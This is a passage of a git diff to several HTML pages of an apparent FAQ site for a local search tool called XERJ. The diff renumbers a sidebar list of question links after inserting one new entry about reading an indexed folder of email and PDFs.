read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/index-multiple-csv-files.html b/landing/answers/index-multiple-csv-files.htmlindex 2b8916f05..cf4015cf3 100644--- a/landing/answers/index-multiple-csv-files.html+++ b/landing/answers/index-multiple-csv-files.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class="active"><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/index-reference-library-for-coding-agent.html b/landing/answers/index-reference-library-for-coding-agent.htmlindex 62e17de22..992196dec 100644--- a/landing/answers/index-reference-library-for-coding-agent.html+++ b/landing/answers/index-reference-library-for-coding-agent.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/index.html b/landing/answers/index.htmlindex 1b564f33a..fe40d4133 100644--- a/landing/answers/index.html+++ b/landing/answers/index.html@@ -160,43 +160,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the 